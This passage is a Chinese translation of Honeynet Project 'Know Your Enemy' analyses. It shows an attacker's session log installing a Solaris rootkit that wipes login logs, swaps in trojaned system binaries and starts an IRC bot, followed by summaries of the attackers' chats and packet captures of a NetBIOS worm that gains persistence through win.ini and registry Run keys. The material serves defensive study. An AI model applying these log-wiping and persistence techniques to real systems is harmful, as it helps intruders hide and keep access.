150 Opening ASCII mode data connection for'sun2.tar'(1720320 bytes).
226 Transfer complete.
local: sun2.tar remote: sun2.tar
1727580 bytes received in 2.4e+02 seconds (6.90 Kbytes/s)
ftp> get l0gin
200 PORT command successful.
150 Opening ASCII mode data connection for 'l0gin' (47165 bytes).
226 Transfer complete.
226 Transfer complete.
local: l0gin remote: l0gin
47378 bytes received in 7.7 seconds (6.04 Kbytes/s)
ftp> quit
U221 Goodbye.

    一旦rootkit被成功下载,该工具包被解开并被安装。注意整个安装过程只执行了一个简单的脚本 setup.sh,这个脚本调用另外一个脚本 secure.sh。你也可以下载在整个Solaris rootkit。

# tar -xvf sun2.tar
x sun2, 0 bytes, 0 tape blocks
x sun2/me, 859600 bytes, 1679 tape blocks
x sun2/ls, 41708 bytes, 82 tape blocks
x sun2/netstat, 6784 bytes, 14 tape blocks
x sun2/tcpd, 19248 bytes, 38 tape blocks
x sun2/setup.sh, 1962 bytes, 4 tape blocks
x sun2/ps, 35708 bytes, 70 tape blocks
x sun2/packet, 0 bytes, 0 tape blocks
x sun2/packet/sunst, 9760 bytes, 20 tape blocks
x sun2/packet/bc, 9782 bytes, 20 tape blocks
x sun2/packet/sm, 32664 bytes, 64 tape blocks
x sun2/packet/newbc.txt, 762 bytes, 2 tape blocks
x sun2/packet/syn, 10488 bytes, 21 tape blocks
x sun2/packet/s1, 12708 bytes, 25 tape blocks
x sun2/packet/sls, 19996 bytes, 40 tape blocks
x sun2/packet/smaq, 10208 bytes, 20 tape blocks
x sun2/packet/udp.s, 10720 bytes, 21 tape blocks
x sun2/packet/bfile, 2875 bytes, 6 tape blocks
x sun2/packet/bfile2, 3036 bytes, 6 tape blocks
x sun2/packet/bfile3, 20118 bytes, 40 tape blocks
x sun2/packet/sunsmurf, 11520 bytes, 23 tape blocks
x sun2/sys222, 34572 bytes, 68 tape blocks
x sun2/m, 9288 bytes, 19 tape blocks
x sun2/l0gin, 47165 bytes, 93 tape blocks
x sun2/sec, 1139 bytes, 3 tape blocks
x sun2/pico, 222608 bytes, 435 tape blocks
x sun2/sl4, 28008 bytes, 55 tape blocks
x sun2/fix, 10360 bytes, 21 tape blocks
x sun2/bot2, 508 bytes, 1 tape blocks
x sun2/sys222.conf, 42 bytes, 1 tape blocks
x sun2/le, 21184 bytes, 42 tape blocks
x sun2/find, 6792 bytes, 14 tape blocks
x sun2/bd2, 9608 bytes, 19 tape blocks
x sun2/snif, 16412 bytes, 33 tape blocks
x sun2/secure.sh, 1555 bytes, 4 tape blocks
x sun2/log, 47165 bytes, 93 tape blocks
x sun2/check, 46444 bytes, 91 tape blocks
x sun2/zap3, 13496 bytes, 27 tape blocks
x sun2/idrun, 188 bytes, 1 tape blocks
x sun2/idsol, 15180 bytes, 30 tape blocks
x sun2/sniff-10mb, 16488 bytes, 33 tape blocks
x sun2/sniff-100mb, 16496 bytes, 33 tape blocks
# rm sun2.tar
# mv l0gin sun2
#cd sun2
#./setup.sh
hax0r w1th K1dd13
Ok This thing is complete :-)

    这里rootkit安装脚本第一次清理和攻击者行为相关的日志文件信息。

- WTMP:
/var/adm/wtmp is Sun Jun 4 11:47:39 2000
/usr/adm/wtmp is Sun Jun 4 11:47:39 2000
/etc/wtmp is Sun Jun 4 11:47:39 2000
/var/log/wtmp cannot open
WTMP = /var/adm/wtmp
Removing user re at pos: 1440
Done!
- UTMP:
/var/adm/utmp is Sun Jun 4 11:47:39 2000
/usr/adm/utmp is Sun Jun 4 11:47:39 2000
/etc/utmp is Sun Jun 4 11:47:39 2000
/var/log/utmp cannot open
/var/run/utmp cannot open
UTMP = /var/adm/utmp
Removing user re at pos: 288
Done!
- LASTLOG:
/var/adm/lastlog is Sun Jun 4 11:47:39 2000
/usr/adm/lastlog is Sun Jun 4 11:47:39 2000
/etc/lastlog cannot open
/var/log/lastlog cannot open
LASTLOG = /var/adm/lastlog
User re has no wtmp record. Zeroing lastlog..
- WTMPX:
/var/adm/wtmpx is Sun Jun 4 11:47:39 2000
/usr/adm/wtmpx is Sun Jun 4 11:47:39 2000
/etc/wtmpx is Sun Jun 4 11:47:39 2000
/var/log/wtmpx cannot open
WTMPX = /var/adm/wtmpx
Done!
- UTMPX:
/var/adm/utmpx is Sun Jun 4 11:47:39 2000
/usr/adm/utmpx is Sun Jun 4 11:47:39 2000
/etc/utmpx is Sun Jun 4 11:47:39 2000
/var/log/utmpx cannot open
/var/run/utmpx cannot open
UTMPX = /var/adm/utmpx
Done!
./setup.sh: ./zap: not found

    在清理完日志系统后,下一步是加固我们的系统(他们多好啊)。因为他们可以轻松的入侵,别人也可以,他们并不想让别人滥用他们的成果。

./secure.sh: rpc.ttdb=: not found
#: securing.
#: 1) changing modes on local files.
#: will add more local security later.
#: 2) remote crap like rpc.status , nlockmgr etc..
./secure.sh: usage: kill [ [ -sig ] id ... | -l ]
./secure.sh: usage: kill [ [ -sig ] id ... | -l ]
#: 3) killed statd , rpcbind , nlockmgr
#: 4) removing them so they ever start again!
5) secured.
207 ? 0:00 inetd
11467 ? 0:00 inetd
cp: cannot access /dev/.. /sun/bot2
kill these processes@!#!@#!
cp: cannot access lpq
./setup.sh: /dev/ttyt/idrun: cannot execute

    下一步,一个IRC proxy开始运行,在这里比较迷惑的是随后脚本杀死了该进程,我也不太明白了。

Irc Proxy v2.6.4 GNU project (C) 1998-99
Coded by James Seter :bugs-> (Pharos@refract.com)
or IRC pharos on efnet
--Using conf file ./sys222.conf
--Configuration:
Daemon port......:9879
Maxusers.........:0
Default conn port:6667
Pid File.........:./pid.sys222
Vhost Default....:-SYSTEM DEFAULT-
Process Id.......:11599
Exit ./sys222{7} :Successfully went into the background.

    随后做了更多的修改,包括拷贝后门程序,包括/bin/login、/bin/ls、/usr/sbin/netstat,以及/bin/ps,而这些在脚本的输出中并看不到。强烈建议你看一下setup.sh和secure.sh的源码,看到底发生了什么事,说不定一天你不得不查看已经被类似的工具控制的系统。

# kill -9 11467
# ps -u root |grep |grep inetd inetd
207 ? 0:00 inetd
# ..U/secure.sh/secure.sh
./secure.sh: rpc.ttdb=: not found
#: securing.
#: 1) changing modes on local files.
#: will add more local security later.
#: 2) remote crap like rpc.status , nlockmgr etc..
./secure.sh: usage: kill [ [ -sig ] id ... | -l ]
./secure.sh: usage: kill [ [ -sig ] id ... | -l ]
./secure.sh: usage: kill [ [ -sig ] id ... | -l ]
./secure.sh: usage: kill [ [ -sig ] id ... | -l ]
#: 3) killed statd , rpcbind , nlockmgr
#: 4) removing them so they ever start again!
5) secured.
# ppUs -u s -u U||U grep grep ttUtdbtdb
Ups: option requires an argument -- u
usage: ps [ -aAdeflcj ] [ -o format ] [ -t termlist ]
[ -u userlist ] [ -U userlist ] [ -G grouplist ]
[ -p proclist ] [ -g pgrplist ] [ -s sidlist ]
'format' is one or more of:
user ruser group rgroup uid ruid gid rgid pid ppid pgid sid
pri opri pcpu pmem vsz rss osz nice class time etime stime
f s c tty addr wchan fname comm args
# ppUs -s -UAdj | grep ttdbAdj | grep ttdb

    最后,攻击者运行了IRC bot,该程序是为了保证他们能够按照自己的意愿控制该IRC频道,同时它也记录IRC频道全部的聊天记录,也正是通过他们安装的bot,我们得到了他们的所有聊天记录。

# ../me -f bot2
init: Using config file: bot2
EnergyMech 2.7.1, December 2nd, 1999
Starglider Class EnergyMech
Compiled on Jan 27 2000 07:06:04
Features: DYN, NEW, SEF
init: Unknown configuration item: "NOSEEN" (ignored)
init: Mechs added [ save2 ]
init: Warning: save2 has no userlist, running in setup mode
init: EnergyMech running...
# exit;
$ exit

    当安置好bot后,黑客离开了系统,正是这个bot捕获了他们的所有对话(见下面第二部分)。如果想得到更多的关于IRC和黑客社团如何利用IRC和bot,可以参考David Brumley的<Tracking Hackers on IRC>。在以后的几周里,为了确认仍然控制着系统他们又登上系统几次。一周后,6月11日,他们再次连接过来尝试使用该系统进行拒绝服务攻击。当然,该"蜜罐"设计时已经考虑到阻塞所有使用它作为对外攻击的基地的尝试。所有使用该系统进行拒绝服务攻击的尝试都会被阻塞掉。

    我们在这里所看到的是很普通的现象:黑客社团使用的工具和策略,他们根据已知的漏洞随机扫描Internet(在该案例中是rpc.ttdbserv),一旦发现,他们会很快的入侵系统并使用脚本工具安装后门,一旦控制了系统,他们会安装bot以确保他们控制着IRC频道。这里唯一不一般的是他们的bot为我们所捕获的聊天信息。在本文的下一部分我们将以他们的聊天记录分析他们的动机和心理。如果你怀疑你的系统已经被相同的方法入侵,可以参考checklist,它包括了怎样检查被入侵系统相关信息。

    第二部分: IRC聊天记录

    下面是他们的聊天记录,其中两个人我们暂且叫做D1ck和J4n3,他们开通的频道也暂且叫做K1dd13。你将会看到这两个人的行为,当然还有其他一些人。聊天记录我们按天分,罗列在下面。我们建议你按顺序读,这样就会明白发生的事。这里所提到的IRC频道、系统名称、IP地址都做了相应修改,所有系统的IP地址已经RFC 1918里的非公用IP替代,域名被换成"example",所有提到的信用卡号被换成"xxxx"。如果IRC频道名相同,纯属巧合。经过仔细考虑,我们没有过滤掉其中的谩骂的字眼,他们所提到的一些外语,我们也尽可能的翻译成英语。当你仔细读他们聊天记录时,你会发现他们缺乏网络技巧和知识,经常会看到他们尝试学习Unix的基本技巧,但是就是他们仍然能够入侵破坏大量的系统,这些决不是危言耸听。
Day 1, June 04
开始讨论建立一个攻击程序结构并共享用来攻击潜在目标的攻击程序。
Day 2, June 05
今天D1ck和J4n3共享攻击程序和拒绝服务攻击。注意他们吹牛已经攻破了多少网络,似乎其中一个正在教育网上搜寻Linux主机。同时他们讨论了在Linux和sparc上使用新的rootkit。
Day 3, June 06
D1ck和J4n3吹嘘那些他们已经对其进行拒绝服务攻击地系统,稍后,D1ck教给J4n3如何mount一个设备。最后讨论了sniffer(关于如何使用),似乎D1ck在拼命寻找Irix主机的攻击程序和rootkit。
Day 4, June 07
D1ck和J4n3决定对印度采取决绝服务攻击和针对bind的攻击。稍后,他们对那些激怒他们的IRC成员进行拒绝服务攻击。
Day 5, June 08
D1ck请求J4n3为他入侵三个系统。D1ck和他的密友Sp07想研究一下sniffer是怎样工作的,包括"是否需要在同一网段上运行"等问题。
Day 6, June 09
这支奇特的队伍开始忙碌起来,似乎D1ck已经入侵了40个系统。我们有理由相信:如果他们可以扫描足够多的系统,那么就会有更多的系统遭受入侵。
Day 7, June 10
平淡的一天,D1ck教一个新兵k1dd13如何使用针对sadmind的攻击程序,我们不确定D1ck是否自己会使用。
Day 8, June 11
D1ck和J4n3讨论他们拥有的系统和那些他们想对其进行拒绝服务的人们,D1ck发现了Ping of Death。
Day 9, June 12
似乎D1ck撞了大运,他发现了一个ISP并且获得了超过5000个用户帐号,现在他们不得不想如何crack这些帐号。
Day 10, June 13
Sp07加入这个团体,似乎他也不太喜欢印度。
Day 11, June 14
他们开始crack用户密码并存取用户帐号。
Day 12, June 15 Also with 罗马尼亚译文
D1ck和J4n3开始尝试在信用卡频道里搜寻信用卡号,成功的话,他们可以购买更多的域名
Day 13, June 16 Also with 罗马尼亚译文
D1ck和J4n3仍然在信用卡频道里搜寻。他们交换信用卡、分享帐号以及色情站点,最后他们把重点放在自己的Web站点。


Day 14, June 17 Also with 罗马尼亚译文

D1ck和J4n3讨论如何获取Linux主机帐号,并谈论了很多关于信用卡,然后继续构建Web站点。

    我们已经回顾了这个黑客社团在14天当中的生活,当让这些并不意味着所有的黑客都是如此想和行动。我们只是关注了一些个别的特殊的团体。但是我们仍然希望通过这些信息能够给你些提示:他们的能力如何,他们或许并不是技术高手,甚至不明白他们正在使用的工具。但是,通过对很多系统的攻击,最终取得了戏剧性的结果,这些不是危言耸听。他们不关心所造成的后果有多严重,他们只关心自己达到了目标。

    结论

    本文的意图就是要使你明确黑客社团的行为和心理。从一开始的一台Solaris 2.6"蜜罐"遭受入侵开始,证实了一个使用普通的远程溢出攻击程序攻击存在漏洞的系统,一旦遭受入侵,系统很快就会被在黑客社团中普遍使用的工具包rootkit所控制。这些可能都很普通,但是本文的一个特点就是让你观察到黑客的思想行为,你可以看到他们所想的和实际行为以及所说的每一句话,特别是如何攻击和破坏系统,他们随机的扫描大量的系统并攻击那些在他们看来存在漏洞的系统。通过理解他们那的行为和思想,你可以更好的保护你的系统免受类似攻击。

感谢

此篇文章是Honeynet项目的工作和研究结果,Honeynet项目小组是由一些安全专业人士组成,致力于研究黑客社团使用的工具和策略、并把这些知识和经验与安全社团人士分享的组织。我们应该感谢SANS的Alan Paller,尽管并不是Honeynet项目的成员,他帮助我们实现了这个研究。


Know Your Enemy--人虫之战

  这文章纯粹是在好奇的情况下产生的,我们的Honeynet的UDP端口137和TCP端口139被多次扫描,我们的网络中这种端口一天内居然被扫描5-10次,怀疑有一定原因。为了了解这些扫描的动机,我们设置了WIN98的honeypot,因为基于这些端口的系统一般上WIN系统,并做在那里等攻击者的操作,我们没有等很长时间,就有了这篇Know you Enemy系列的后续。

    Windows上的honeypot

    在一个月的时间内(2000/9/20-2000/10/20)我们确认在我们的网络"honeypot"遭受过524个基于NetBIOS扫描。这些扫描是基于UDP137端口(NetBIOS命名服务)的探测,有时伴随着基于TCP139端口(NetBIOS会话服务)。所有这些表明存在大量的针对特殊服务的扫描活动,某些事情正在发生,我们决定发现出了什么事。

    我们的网络并没有在Internet做什么广告或者宣传,仅仅是放在那里。所有迹象表明这些我们接受到的扫描仅仅是随机扫描。但同样会威胁到你的系统的安全,由于这些扫描主要针对Windows系统,有可能主要瞄准通过DSL或Cable连接的普通家庭用户。我们不讨论间谍或主页被黑,我们在这里仅讨论一般家庭用户作为被攻击的对象。我们对这一切感到好奇:谁正在作这样的扫描?他们的意图是什么?为什么存在大量的这种扫描?协同探测的结果?是蠕虫吗?带着很多问题,我们决定去发现结果并放置了我们的Windows"honeypot",我们缺省安装了一台Windows98并且使c:盘共享,尽管一台Windows98 "honeypot"听起来并没有多大的诱惑力,但是仍然可以通过建立这样的系统来获得我们所想知道的。

在Internet上有大量的Windows98系统,而且这个数量还在快速增长。作为具有代表性的系统,该系统存在大量的安全漏洞。但是作为家庭用户并没有认识到连接到Internet的风险性,他们中的大多数还是专注地连接Internet。
这是我们的第一个基于Microsoft的"honeypot",该计划也非常简单并且希望学到一些东西。
    在2000/10/31日,系统安装好,共享打开,并且连接到Internet,我们开始等待,等待时间是如此漫长。

    第一条蠕虫

    至少24小时后我们接待了我们的第一位访客。IP为216.191.92.10的系统(host-010.hsf.on.ca)扫描了我们的网络搜寻Windows系统,他发现了我们的"honeypot"并且开始查询它。一开始他尝试获得系统名并确定共享是否打开。一旦他发现共享打开,开始在我们的系统上探测某种二进制文件。他的目标是确定在我们的"honeypot"上是否安装了某种蠕虫,如果没有,就会安装它。在这里,这种蠕虫并没有被安装,这个蠕虫被确定为"Win32.Bymer Worm"。此蠕虫的目的在于利用占领的主机的CPU资源来帮助某人赢得distributed.net竞赛,distributed.net是一个提供利用分布式计算机空闲资源进行各种挑战(如 crack RC5-64)奖项的组织。如果赢得挑战将获得一些奖金,在这里,我们的访客通过安装蠕虫把我们当成"志愿军"来参加这个项目。

    某个人(bymer@inec.kiev.ua),制作了这个可复制的蠕虫,它可以在不被怀疑的有漏洞的Windows系统上安装distributed.net客户端。一旦被安装且被执行,蠕虫就可以利用你的系统CPU资源帮助安装的人赢得奖金。期间蠕虫也会探测别的可能被入侵的系统,它的目标是获取更多的CPU资源,处理速度会随着入侵系统的增多而呈指数增长。让我们来看一下通过网络捕获的数据包(在这里我们使用snort)。为了更方便的分析NetBIOS协议,你需要一些协议分析器如Ethereal。这个过程通过sniffer追踪如下,IP为172.16.1.105的是我们"honeypot"的地址。

    在一开始的时候,蠕虫在我们的系统上检查dnetc.ini,这是distributed.net客户端的标准配置文件,该配置文件告诉主服务器谁的CPU资源引该被信任。在这里我们通过跟踪远程系统(NetBIOS名称GHUNT,帐号GHUNT,域名HSFOPROV)的记录发现他拷贝这个文件到我们"honeypot"中。

11/01-15:29:18.580895 216.191.92.10:2900 -> 172.16.1.105:139
TCP TTL:112 TOS:0x0 ID:50235 DF
*****PA* Seq: 0x12930C6 Ack: 0x66B7068 Win: 0x2185
00 00 00 5B FF 53 4D 42 2D 00 00 00 00 00 01 00 ...[.SMB-.......
00 00 00 00 00 00 00 00 00 00 00 00 00 C8 57 1C ..............W.
00 00 82 D1 0F FF 00 00 00 07 00 91 00 16 00 20 ...............
00 DC 1C 00 3A 10 00 00 00 00 00 00 00 00 00 00 ....:...........
00 00 00 1A 00 5C 57 49 4E 44 4F 57 53 5C 53 59 .....WINDOWSSY
53 54 45 4D 5C 64 6E 65 74 63 2E 69 6E 69 00 STEMdnetc.ini.

    通过下面信息我们可以看到配置文件dentc.in的确切传输配置,注意bymer@inec.kiev.ua,他就是接受CPU资源的人,很可能也是该蠕虫的作者。

11/01-15:29:18.729337 216.191.92.10:2900 -> 172.16.1.105:139
TCP TTL:112 TOS:0x0 ID:50747 DF
*****PA* Seq: 0x1293125 Ack: 0x66B70AD Win: 0x2140
00 00 01 11 FF 53 4D 42 0B 00 00 00 00 00 01 00 .....SMB........
00 00 00 00 00 00 00 00 00 00 00 00 00 C8 57 1C ..............W.
00 00 02 D2 05 00 00 E1 00 00 00 00 00 E1 00 E4 ................
00 01 E1 00 5B 6D 69 73 63 5D 20 0D 0A 70 72 6F ....[misc] ..pro
6A 65 63 74 2D 70 72 69 6F 72 69 74 79 3D 4F 47 ject-priority=OG
52 2C 52 43 35 2C 43 53 43 2C 44 45 53 0D 0A 0D R,RC5,CSC,DES...
0A 5B 70 61 72 61 6D 65 74 65 72 73 5D 0D 0A 69 .[parameters]..i
64 3D 62 79 6D 65 72 40 69 6E 65 63 2E 6B 69 65 d=bymer@inec.kie
76 2E 75 61 0D 0A 0D 0A 5B 72 63 35 5D 0D 0A 66 v.ua....[rc5]..f
65 74 63 68 2D 77 6F 72 6B 75 6E 69 74 2D 74 68 etch-workunit-th
72 65 73 68 6F 6C 64 3D 36 34 0D 0A 72 61 6E 64 reshold=64..rand
6F 6D 70 72 65 66 69 78 3D 32 31 37 0D 0A 0D 0A omprefix=217....
5B 6F 67 72 5D 0D 0A 66 65 74 63 68 2D 77 6F 72 [ogr]..fetch-wor
6B 75 6E 69 74 2D 74 68 72 65 73 68 6F 6C 64 3D kunit-threshold=
31 36 0D 0A 0D 0A 5B 74 72 69 67 67 65 72 73 5D 16....[triggers]
0D 0A 72 65 73 74 61 72 74 2D 6F 6E 2D 63 6F 6E ..restart-on-con
66 69 67 2D 66 69 6C 65 2D 63 68 61 6E 67 65 3D fig-file-change=
79 65 73 0D 0A yes..

    下一个要传的软件是distributed.net客户端-dnetc.exe。一个可执行文件,原始版本是没有病毒。我们为了确认这个文件是否被改动过,于是我们取了在"honeypot"中的改文件的MD5签名,之后我们从distributed.net上下载了该客户端并同样用MD5进行签名,结果表明一样(d0fd1f93913af70178bff1a1953f5f7d),表明该客户端并没有做过改动,仅仅是为了获取你的CPU资源进行竞赛,但是所有这一切都没有经过我们的同意。

11/01-15:34:09.044822 216.191.92.10:2900 -> 172.16.1.105:139
TCP TTL:112 TOS:0x0 ID:33084 DF
*****PA* Seq: 0x129341A Ack: 0x66B71C0 Win: 0x202D
00 00 00 5B FF 53 4D 42 2D 00 00 00 00 00 01 00 ...[.SMB-.......
00 00 00 00 00 00 00 00 00 00 00 00 00 C8 57 1C ..............W.
00 00 04 26 0F FF 00 00 00 07 00 91 00 16 00 20 ...&...........
00 FE 1D 00 3A 10 00 00 00 00 00 00 00 00 00 00 ....:...........
00 00 00 1A 00 5C 57 49 4E 44 4F 57 53 5C 53 59 .....WINDOWSSY
53 54 45 4D 5C 64 6E 65 74 63 2E 65 78 65 00 STEMdnetc.exe.

    接下来传过来真正的病毒程序msi216.exe,这是一个可以进行自我复制的病毒随机探测寻找有漏洞的系统并考本自身,这很可能就是导致我们接受大量扫描的根源。

11/01-15:37:23.083643 216.191.92.10:2900 -> 172.16.1.105:139
TCP TTL:112 TOS:0x0 ID:40765 DF
*****PA* Seq: 0x12C146A Ack: 0x66C248B Win: 0x20B2
00 00 00 5C FF 53 4D 42 2D 00 00 00 00 00 01 00 ....SMB-.......
00 00 00 00 00 00 00 00 00 00 00 00 00 C8 57 1C ..............W.
00 00 02 F3 0F FF 00 00 00 07 00 91 00 16 00 20 ...............
00 C0 1E 00 3A 10 00 00 00 00 00 00 00 00 00 00 ....:...........
00 00 00 1B 00 5C 57 49 4E 44 4F 57 53 5C 53 59 .....WINDOWSSY
53 54 45 4D 5C 6D 73 69 32 31 36 2E 65 78 65 00 STEMmsi216.exe.

    最后,蠕虫上传了新的win.ini文件,这么做的原因是可以在系统重新启动的时候被执行,因为很难在远程Win98系统上直接执行程序,所以蠕虫修改c:windowswin.ini文件以使自己被自动加载。这个新的win.ini被上传到我们的系统。

11/01-15:38:55.352810 216.191.92.10:2900 -> 172.16.1.105:139
TCP TTL:112 TOS:0x0 ID:1342 DF
******A* Seq: 0x12C6F55 Ack: 0x66C95FC Win: 0x1FBF
00 00 0B 68 FF 53 4D 42 1D 00 00 00 00 00 01 00 ...h.SMB........
00 00 00 00 00 00 00 00 00 00 00 00 00 C8 57 1C ..............W.
00 00 02 F9 0C 0D 00 61 19 00 00 00 00 00 00 00 .......a........
00 00 00 00 00 00 00 00 00 2C 0B 3C 00 2D 0B 00 .........,.<.-..
5B 77 69 6E 64 6F 77 73 5D 0D 0A 6C 6F 61 64 3D [windows]..load=
63 3A 5C 77 69 6E 64 6F 77 73 5C 73 79 73 74 65 c:windowssyste
6D 5C 6D 73 69 32 31 36 2E 65 78 65 0D 0A 72 75 mmsi216.exe..ru
6E 3D 0D 0A 4E 75 6C 6C 50 6F 72 74 3D 4E 6F 6E n=..NullPort=Non
65 0D 0A 0D 0A 5B 44 65 73 6B 74 6F 70 5D 0D 0A e....[Desktop]..
57 61 6C 6C 70 61 70 65 72 3D 28 4E 6F 6E 65 29 Wallpaper=(None)
0D 0A 54 69 6C 65 57 61 6C 6C 70 61 70 65 72 3D ..TileWallpaper=
31 0D 0A 57 61 6C 6C 70 61 70 65 72 53 74 79 6C 1..WallpaperStyl
65 3D 30 0D 0A 0D 0A 5B 69 6E 74 6C 5D 0D 0A 69 e=0....[intl]..i

    到这里为止,蠕虫已经完成入侵并且我们的"honeypot"已经被感染。所有的一切就是我们重新启动系统蠕虫就会生效,一旦它运行,就会发生一些事:


Distributed.net客户端启动,在竞赛中使用CPU资源。
蠕虫开始寻找有漏洞的系统并复制自己,这也是为什么导致UDP137和TCP139扫描。
蠕虫在注册表中添加如下键值。
HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunBymer.scanner HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunServicesBymer.scanner

    你是否想着等着系统重启来执行程序不值得信赖,可是要知道目标是Windows桌面系统,你多长时间重启一次你的Windows?

    第二条蠕虫

    繁忙的一周,第二天我们的第二条蠕虫来了。这次是第一次的变种,获取你的CPU资源用来参加distributed.net竞赛,不同的是,这一次所有文件合为一个可执行文件wininit.exe,缺省安装已经有一个安装在c:windowswininit.exe,之所以叫这个名字是为了隐藏自己,即使有人发现这个二进制文件也会想到可能是一个系统文件而不是一个蠕虫。这在黑客社区是非常常见的策略。一旦执行,这条蠕虫会象第一条那样。下面我们可以看到我们的"honeypot"被第二条蠕虫感染,远程系统NetBIOS名是WINDOW,帐号WINDOW,域名LVCW。

11/02-21:41:17.287743 216.234.204.69:2021 -> 172.16.1.105:139
TCP TTL:113 TOS:0x0 ID:38619 DF
*****PA* Seq: 0x21CC0AC Ack: 0xCE6736B Win: 0x2185
00 00 00 5D FF 53 4D 42 2D 00 00 00 00 00 01 00 ...].SMB-.......
00 00 00 00 00 00 00 00 00 00 00 00 00 D0 4F 1F ..............O.
00 00 84 EE 0F FF 00 00 00 07 00 91 00 16 00 20 ...............
00 20 BB 01 3A 10 00 00 00 00 00 00 00 00 00 00 . ..:...........
00 00 00 1C 00 5C 57 49 4E 44 4F 57 53 5C 53 59 .....WINDOWSSY
53 54 45 4D 5C 77 69 6E 69 6E 69 74 2E 65 78 65 STEMwininit.exe
00

    一旦蠕虫被安装,远程系统就会修改win.ini以确保在系统重启以后能够运行,在这里我们注意到它已经被加入c:windowswin.ini,以前的那个程序仍然在启动时执行。

11/02-21:41:48.538643 216.234.204.69:2021 -> 172.16.1.105:139
TCP TTL:113 TOS:0x0 ID:21212 DF
******A* Seq: 0x22021C9 Ack: 0xCE68EC7 Win: 0x1FA3
00 00 0B 68 FF 53 4D 42 1D 00 00 00 00 00 01 00 ...h.SMB........
00 00 00 00 00 00 00 00 00 00 00 00 00 D0 4F 1F ..............O.
00 00 84 F4 0C 0F 00 7F 19 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 2C 0B 3C 00 2D 0B 00 .........,.<.-..
5B 77 69 6E 64 6F 77 73 5D 0D 0A 6C 6F 61 64 3D [windows]..load=
63 3A 5C 77 69 6E 64 6F 77 73 5C 73 79 73 74 65 c:windowssyste
6D 5C 77 69 6E 69 6E 69 74 2E 65 78 65 20 63 3A mwininit.exe c:
5C 77 69 6E 64 6F 77 73 5C 73 79 73 74 65 6D 5C windowssystem
6D 73 69 32 31 36 2E 65 78 65 0D 0A 72 75 6E 3D msi216.exe..run=
0D 0A 4E 75 6C 6C 50 6F 72 74 3D 4E 6F 6E 65 0D ..NullPort=None.
0A 0D 0A 5B 44 65 73 6B 74 6F 70 5D 0D 0A 57 61 ...[Desktop]..Wa

    重启之后,象上一次一样,第二条蠕虫程序以同样的进程会启动。给我们的感觉对方似乎并没有象有些邪恶的黑客那样,倒却象看热闹的。系统的拥有者并没有意识倒蠕虫已经运行在系统上,没有意识倒自己的系统正在被利用在探测别的主机,他们的系统正连接Internet,作自己的事。每一个通过拨号连接Internet的主机都面临同样的攻击。这里正在发起一场战争关于自动蠕虫探测和威胁那些主机,就像我们的"honeypot"。

    后续发展

    又过了一天,同样的蠕虫又探测我们的"honeypot",首先,他们决定是否共享被打开,接着,它发现同样的蠕虫已经被安装,之后它离我们而去。这天的晚些时候,另外一个系统探测是否msi216.exe已经被安装。

11/03-04:42:11.596636 210.111.145.180:2341 -> 172.16.1.105:139
TCP TTL:115 TOS:0x0 ID:12574 DF
*****PA* Seq: 0x2345C04 Ack: 0xE65CC94 Win: 0x2171
00 00 00 5D FF 53 4D 42 2D 00 00 00 00 00 01 00 ...].SMB-.......
00 00 00 00 00 00 00 00 00 00 00 00 00 D8 B5 1D ................
00 00 81 3E 0F FF 00 00 00 07 00 91 00 16 00 20 ...>...........
00 3A 26 02 3A 10 00 00 00 00 00 00 00 00 00 00 .:&.:...........
00 00 00 1C 00 5C 57 49 4E 44 4F 57 53 5C 53 59 .....WINDOWSSY
53 54 45 4D 5C 77 69 6E 69 6E 69 74 2E 65 78 65 STEMwininit.exe
00 .

    远程系统:NetBIOS名 MATTHEW,帐号 MPYLE,域名 MPYLE

11/03-16:39:38.723572 216.23.6.24:3946 -> 172.16.1.105:139
TCP TTL:113 TOS:0x0 ID:3309 DF
*****PA* Seq: 0x1A7105F Ack: 0x10F8C0F2 Win: 0x2159
00 00 00 5B FF 53 4D 42 2D 00 00 00 00 00 01 00 ...[.SMB-.......
00 00 00 00 00 00 00 00 00 00 00 00 00 E0 AD 20 ...............
00 00 81 D9 0F FF 00 00 00 07 00 91 00 16 00 20 ...............
00 14 CE 02 3A 10 00 00 00 00 00 00 00 00 00 00 ....:...........
00 00 00 1A 00 5C 57 49 4E 44 4F 57 53 5C 53 59 .....WINDOWSSY
53 54 45 4D 5C 64 6E 65 74 63 2E 69 6E 69 00 STEMdnetc.ini.

    在接下来的一天,11月4号,从IP为207.224.254.206(NetBIOS名SOCCERDOG,帐号SCOTT,域名RONS)开始对我们的"honeypot"进行探测判断是否dnetc.ini已经被安装,当看到已经安装过,他随后离去。在随后三天之内我们的"honeypot"一共接收到5次探测。在那天的晚些时候,我们的"honeypot"开始尝试通过http连接到bymer.boom.ru。

    这可能是蠕虫在尝试进行连接主服务器进行更新。Bymer.boom.ru系统像是某一时间的这条蠕虫的主控制器。但是域名bymer.boom.ru现在被解析成一个RFC 1918里IP地址192.168.0.1。这些现象好像显示这个域的管理员在停止这条蠕虫,我们所不确定是一条蠕虫的运行有时不需要重启。使用Windows的一个缺点就是可用信息太少,没有什么日志。下面我们看到"honeypot"初始化连接bymer.boom.ru,很可能就是它的主服务器。

11/04-23:56:38.855453 172.16.1.105:1027 -> 192.168.0.1:80
TCP TTL:127 TOS:0x0 ID:65300 DF
**S***** Seq: 0x17AF8D9A Ack: 0x0 Win: 0x2000
TCP Options => MSS: 1460 NOP NOP SackOK

    紧接着,dnetc.exe客户端连接到distributed.net服务器并且开始数据传输,这应该是distributed.net的客户端而不是蠕虫的复制进程。接着完成蠕虫的最终愿望,耗CPU资源并上传结果到distributed.net。

11/04-23:56:40.286898 172.16.1.105:1029 -> 204.152.186.139:2064
TCP TTL:127 TOS:0x0 ID:1301 DF
*****PA* Seq: 0x17AF8F47 Ack: 0xBE445ED3 Win: 0x2238
AE 23 E2 77 F6 42 91 51 3E 61 3F EE 86 7F EE 8B .#.w.B.Q>a?.....
CE 9E 9D 28 16 BD 4B C5 5E DB FA 62 A6 FA A8 FF ...(..K.^..b....
EF 19 57 9C 37 38 06 39 7F 56 B4 D6 C7 75 63 73 ..W.78.9.V...ucs
0F 94 12 10 57 B2 C0 AD 9F D1 6F 4A E7 F0 1D E7 ....W.....oJ....
30 0E CC 84 78 2D 7B 21 C0 4C 29 BE 08 6A D8 5B 0...x-{!.L)..j.[
50 89 86 F8 98 A8 35 95 E0 C6 E4 32 28 E5 92 CF P.....5....2(...
71 04 41 6C B9 22 F0 09 01 41 9E A6 49 60 4D 43 q.Al."...A..I`MC
